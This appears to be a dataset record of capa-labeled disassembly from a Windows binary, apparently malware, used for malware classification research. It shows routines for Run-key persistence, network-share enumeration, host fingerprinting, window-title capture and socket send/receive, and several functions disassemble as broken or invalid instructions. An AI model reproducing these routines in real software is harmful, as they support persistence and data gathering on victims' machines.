joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406108
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406195
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
test eax, eax
jne 0x406173
test ebx, ebx
je 0x406173
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, esi
call fcn.0040384c
jmp 0x40617a
mov eax, esi
call fcn.0040371c
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40619c
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x40650c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40656c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x15]
mov ecx, 0x11
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.00405398
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406573
lea eax, [ebp - 0x1c]
call fcn.0040371c
ret

Function at 0x406578
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4065f7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.0040387c
lea eax, [ebp - 0x10c]
mov edx, 0x40660c
call fcn.0040389c
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.004053d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065fe
lea eax, [ebp - 0x10c]
call fcn.0040371c
ret
Function at 0x406714
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x4067b7
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x41a6c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x41a6c4], eax
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x41a6c4], eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067be
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x4067c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40688c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41a6c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x41a6c4], eax
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.00403bc4
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebx]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x41a6c4], eax
cmp dword [0x41a6c4], 0
jne 0x40685f
mov eax, dword [ebx]
call fcn.00403a94
mov edx, eax
mov eax, ebx
call fcn.0040384c
jmp 0x406866
mov eax, ebx
call fcn.0040371c
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406893
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x40689c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
mov eax, dword [ebp + 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406970
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x41a6c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x41a6c4], eax
cmp dword [ebp + 8], 0
jne 0x406909
lea eax, [ebp + 8]
mov edx, 0x406988
call fcn.004037b4
mov eax, dword [ebp + 8]
call fcn.00403894
push eax
lea eax, [ebp + 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41a6c4], eax
cmp dword [0x41a6c4], 0
sete bl
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406977
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
lea eax, [ebp + 8]
call fcn.0040371c
ret

Function at 0x40698c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406a31
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x41a6c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x41a6c4], eax
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
invalid

Function at 0x406a44
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406ac6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, 0x406adc
call fcn.00405830
test al, al
jne 0x406ab0
mov eax, dword [ebp - 4]
call fcn.00403a94
mov ebx, eax
push ebx
push esi
call sub.advapi32.dll_RegDeleteKeyA
push 0
push 0x41a6c0
push 0
push 6
push 2
push 0
push 0
push ebx
push esi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
sete al
mov ebx, eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406acd
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x406b70
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406bff
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
jne 0x406bb0
lea eax, [ebp - 8]
mov edx, 0x406c18
call fcn.004037b4
mov eax, dword [ebp - 8]
call fcn.00403894
push eax
lea eax, [ebp - 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41a6c4], eax
cmp dword [0x41a6c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c06
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x406c1c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406c7f
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x41a6c4], eax
cmp dword [0x41a6c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c86
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x406c90
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406d26
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41a6c0
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x41a6c4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov dword [0x41a6c4], eax
cmp dword [0x41a6c4], 0
sete bl
mov eax, dword [0x41a6c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406d2d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x4073b0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, 0x41ab14
xor eax, eax
push ebp
push 0x407653
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x407668
call fcn.00403770
lea eax, [ebp - 4]
mov ecx, 0x407704
mov edx, dword [0x41aadc]
call fcn.004038e0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x407718
mov edx, 0x407728
mov eax, 0x80000002
call fcn.0040689c
mov ecx, 0x407704
lea eax, [ebp - 8]
mov edx, dword [0x41aadc]
stosb byte es:[edi], al
inc ecx
add al, ch
mov esp, 0x458bffff
clc
push eax
mov ecx, 0x407718
mov edx, 0x407760
mov eax, 0x80000001
call fcn.0040689c
mov ecx, 0x407704
lea eax, [ebp - 0xc]
mov edx, dword [0x41aadc]
call fcn.004038e0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, 0x407718
mov edx, 0x4077a8
mov eax, 0x80000002
call fcn.0040689c
mov eax, ebx
mov edx, 0x4077e8
call fcn.00403770
lea eax, [ebp - 0x10]
mov ecx, 0x407868
mov edx, dword [0x41aadc]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
push eax
mov edx, 0x407728
mov ecx, 0x40787c
mov eax, 0x80000001
call fcn.0040689c
mov eax, ebx
mov edx, 0x40788c
call fcn.00403770
lea eax, [ebp - 0x14]
mov ecx, 0x4078c0
mov edx, dword [0x41aadc]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
push eax
mov edx, 0x407760
mov ecx, 0x4078d4
mov eax, 0x80000002
call fcn.0040689c
cmp byte [0x41ab58], 0
jne 0x407638
push 0
mov ecx, 0x4078e4
mov edx, 0x4078fc
mov eax, 0x80000002
call fcn.0040689c
push 0x407930
mov edx, 0x4078fc
mov ecx, 0x407940
mov eax, 0x80000002
call fcn.0040689c
push 0x407958
mov edx, 0x4078fc
mov ecx, 0x407990
mov eax, 0x80000002
call fcn.0040689c
mov eax, ebx
mov edx, 0x4079a4
call fcn.00403770
push 0x407a38
mov edx, 0x4078fc
mov ecx, 0x407a54
mov eax, 0x80000002
call fcn.0040689c
push 0x407a68
mov edx, 0x4078fc
mov ecx, 0x407a7c
mov eax, 0x80000002
call fcn.0040689c
mov eax, ebx
mov edx, 0x407a8c
call fcn.00403770
push 0x407b48
mov edx, 0x4078fc
mov ecx, 0x407b5c
mov eax, 0x80000002
invalid
sbb dh, bl
invalid
Function at 0x408114
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x40811c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x409398
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x4093b0
call fcn.00403770
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x408173
lea eax, [ebp - 0xc]
mov edx, 0x4093bc
call fcn.004037b4
jmp 0x408197
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405370
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x4093d8
call fcn.004038e0
cmp byte [0x41ab58], 0
je 0x4081af
lea eax, [ebp - 8]
mov edx, 0x4093f4
call fcn.004037b4
jmp 0x4081bc
lea eax, [ebp - 8]
mov edx, 0x409404
call fcn.004037b4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405370
push dword [ebp - 0x5a0]
push 0x409414
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405370
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x10]
mov edx, 0x409420
call fcn.004039e0
jne 0x408220
lea eax, [ebp - 8]
mov edx, 0x40942c
call fcn.004037b4
mov eax, 0x41ab14
mov edx, 0x40943c
call fcn.00403770
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, 0x4094a8
call fcn.004039e0
jne 0x408260
lea eax, [ebp - 0x1c]
mov edx, 0x4094c0
call fcn.004037b4
jmp 0x4082b8
mov eax, dword [ebp - 0x1c]
mov edx, 0x4094cc
call fcn.004039e0
jne 0x40827e
lea eax, [ebp - 0x1c]
mov edx, 0x4094e4
call fcn.004037b4
jmp 0x4082b8
mov eax, dword [ebp - 0x1c]
mov edx, 0x4094f0
call fcn.004039e0
jne 0x40829c
lea eax, [ebp - 0x1c]
mov edx, 0x409508
call fcn.004037b4
jmp 0x4082b8
mov eax, dword [ebp - 0x1c]
mov edx, 0x409514
call fcn.004039e0
jne 0x4082b8
lea eax, [ebp - 0x1c]
mov edx, 0x40952c
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405370
dec dword [ebx - 0x5a773]
dec dword [ebp + 0x38baec45]
xchg ebp, eax
inc eax
add al, ch
add byte [esi + 0x75ffffff], dh
clc
push 0x4093b0
push dword [ebp - 0x10]
push 0x409548
push dword [ebp - 0x1c]
push 0x409548
push dword [ebp - 0x14]
push 0x409548
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403954
push 0x409554
push dword [ebp - 0xc]
push 0x409554
push dword [ebp - 8]
push 0x4093b0
push dword [ebp - 0x10]
push 0x409554
push dword [ebp - 0x14]
push 0x409554
push dword [ebp - 0x1c]
push 0x409554
push 0x409560
push dword [0x41aadc]
push 0x409574
push 0x409554
mov eax, ebx
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x409580
lea eax, [ebp - 0x5ac]
invalid
Function at 0x40ae54
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x40ae5c
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov edi, 0x41ac6c
xor eax, eax
push ebp
push 0x40bb9b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41ab14
mov edx, 0x40bbb4
call fcn.00403770
call fcn.004080c4
mov eax, dword [ebp - 8]
call fcn.0040371c
xor ebx, ebx
mov eax, dword [ebp - 4]
call fcn.00403894
cmp eax, 0x7f
jge 0x40aedc
push 0
push 0x41abe0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x41ab8c], eax
cmp dword [0x41ab8c], 0xffffffff
jne 0x40af0f
mov ebx, 1
jmp 0x40af0f
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x41ab8c], eax
cmp dword [0x41ab8c], 0xffffffff
jne 0x40af0f
mov ebx, 2
test ebx, ebx
jbe 0x40af73
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
cmp eax, 0xcf
ja 0x40af2a
bt dword [0x40bbfc], eax
jb 0x40af63
cmp ebx, 0x4cf
je 0x40af63
push 0x40bc20
push dword [ebp - 4]
push 0x40bc30
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.00406240
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0xc]
call fcn.0041706c
mov eax, dword [0x41ab8c]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x40bb78
mov eax, 0x41ab14
mov edx, 0x40bc3c
call fcn.00403770
mov eax, 0x41abbc
call fcn.0040371c
mov eax, 0x41abc0
call fcn.0040371c
mov eax, 0x41abc4
call fcn.0040371c
xor eax, eax
mov dword [0x41abb0], eax
xor eax, eax
mov dword [0x41abb4], eax
mov eax, 0x41ab14
mov edx, 0x40bc74
call fcn.00403770
xor eax, eax
mov dword [0x41abb8], eax
xor eax, eax
mov dword [0x41abac], eax
mov eax, 0x41abc8
mov edx, 0x12
call fcn.00403bc4
mov eax, 0x41abcc
mov edx, 0x20
call fcn.00403bc4
mov eax, 0x41abd0
mov edx, 0x1a
call fcn.00403bc4
mov eax, 0x41abd4
mov edx, 0x2f
call fcn.00403bc4
mov eax, 0x41abd8
mov edx, 0x12
call fcn.00403bc4
mov eax, 0x41abdc
mov edx, 0x20
call fcn.00403bc4
mov eax, dword [edi]
mov byte [eax], 0
jmp 0x40ba8b
Function at 0x40c85c
Capabilities:
Enumerate files on windows
Get file size
Write file on windows

Disassembly:
add byte [esi], bh
xor al, 0x20
inc ecx
jb 0x40c8c5
push 0x202e2e2e
add bh, bh
invalid
test dword [esi + edi*8 - 0x72af0001], ebp
test dword [eax - 0x46000002], ebp
enter 0x40ce, 0
Function at 0x40d3c4
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x40d3cc
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40d64e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41ab14
mov edx, 0x40d664
call fcn.00403770
lea eax, [ebp - 4]
push eax
push ebx
push 0x13
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40d633
mov eax, 0x41ab14
mov edx, 0x40d6e4
call fcn.00403770
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8

Function at 0x40d5b2
Capabilities:
Enumerate network shares

Disassembly:
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40d483
lea eax, [esi + edi*8]
call fcn.0040d3c4
cmp dword [esi + edi*8 + 8], 3
jne 0x40d5e0
mov eax, 0x41ab14
mov edx, 0x40d730
call fcn.00403770
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.0040384c
mov edx, dword [ebp - 0x14]
mov eax, 0x41aafc
mov ecx, 0x40d794
call fcn.004038e0
inc dword [0x41ab40]
mov eax, 0x41ab14
mov edx, 0x40d7a0
call fcn.00403770
mov eax, dword [0x41ab40]
cmp eax, dword [0x41ab44]
jl 0x40d5e0
mov eax, dword [0x41ab40]
push eax
mov ecx, 0x40d7c0
mov edx, 0x40d7d0
mov eax, 0x80000002
call fcn.0040698c
mov eax, 0x41ab14
mov edx, 0x40d818
call fcn.00403770
mov eax, dword [0x41aafc]
push eax
mov edx, 0x40d7d0
mov ecx, 0x40d8e8
mov eax, 0x80000002
call fcn.0040689c
xor eax, eax
mov dword [0x41ab3c], eax
mov word [0x4191f0], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x41aad8]
call fcn.00403894
mov ecx, eax
mov edx, 3
mov eax, dword [0x41aafc]
call fcn.00403af4
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00405398
mov eax, dword [ebp - 0x18]
mov edx, dword [0x41aad8]
call fcn.004039e0
jne 0x40d58b
lea eax, [ebp - 0x20]
mov ecx, dword [0x41aafc]
mov edx, 0x40d8f8
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.0041706c
jmp 0x40d5b0
mov eax, dword [0x41aafc]
call fcn.0040c880
lea eax, [ebp - 0x24]
mov ecx, dword [0x41aafc]
mov edx, 0x40d90c
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.0041706c
xor eax, eax
mov dword [0x41ab38], eax
mov eax, dword [0x41ab38]
push eax
mov edx, 0x40d7d0
mov ecx, 0x40d91c
mov eax, 0x80000002
call fcn.0040698c
mov eax, 0x41ab14
mov edx, 0x40d92c
call fcn.00403770
inc ebx
invalid
Function at 0x40dc54
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40de5a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41ab14
mov edx, 0x40de74
call fcn.00403770
mov eax, dword [ebp - 4]
call fcn.00403894
test eax, eax
jle 0x40dcf9
lea eax, [ebp - 4]
mov edx, 0x40dec0
call fcn.0040389c
push 0
mov eax, dword [ebp - 4]
call fcn.00403894
push eax
lea eax, [ebp - 4]
call fcn.00403aec
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40dcf9
mov edx, esi
mov eax, edi
call fcn.00405350
jmp 0x40de2f
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40dde8
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, dword [ebp - 8]
call fcn.00403894
cmp eax, 3
jne 0x40de2f
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40dd7e
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40dd7e
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40de2f
push 0x40decc
push dword [ebp - 4]
push 0x40dee0
push dword [ebp - 8]
push 0x40def4
push 0x40dec0
push dword [esi]
push 0x40dec0
push dword [0x41ab7c]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.00403954
mov eax, dword [ebp - 0x10c]
call fcn.0041706c
mov eax, 0x41ab14
mov edx, 0x40df00
call fcn.00403770
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.00406230
mov eax, esi
mov edx, 0x40dfd0
call fcn.00403770
jmp 0x40de2f
mov eax, esi
mov edx, 0x40dfd0
call fcn.00403770
push 0x40dfdc
push dword [ebp - 4]
push 0x40dec0
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.00406240
push dword [ebp - 0x114]
lea eax, [ebp - 0x110]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x110]
call fcn.0041706c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de61
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.00403740
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x40f9bc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40fa70
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, 0x41ab14
mov edx, 0x40fa88
call fcn.00403770
mov edx, dword [ebp - 4]
mov eax, 0x40fad8
call fcn.00403b7c
test eax, eax
jne 0x40fa49
mov edx, dword [ebp - 4]
mov eax, 0x40fae8
call fcn.00403b7c
test eax, eax
jne 0x40fa49
mov edx, dword [ebp - 4]
mov eax, 0x40fafc
call fcn.00403b7c
test eax, eax
jne 0x40fa49
xor ebx, ebx
jmp 0x40fa4b
mov bl, 1
mov eax, 0x41ab14
mov edx, 0x40fb14
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fa77
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x40fb44
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x40fb4c
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x40fe77
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov ecx, dword [0x41aaf0]
mov edx, 0x40fe90
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00403a94
push eax
push 0x40fe98
push 0
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
cmp ebx, 0x20
jae 0x40fbda
push 0x40fea8
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00405370
push dword [ebp - 0x1c]
push 0x40febc
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00406240
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x18]
call fcn.0041706c
add byte [eax], al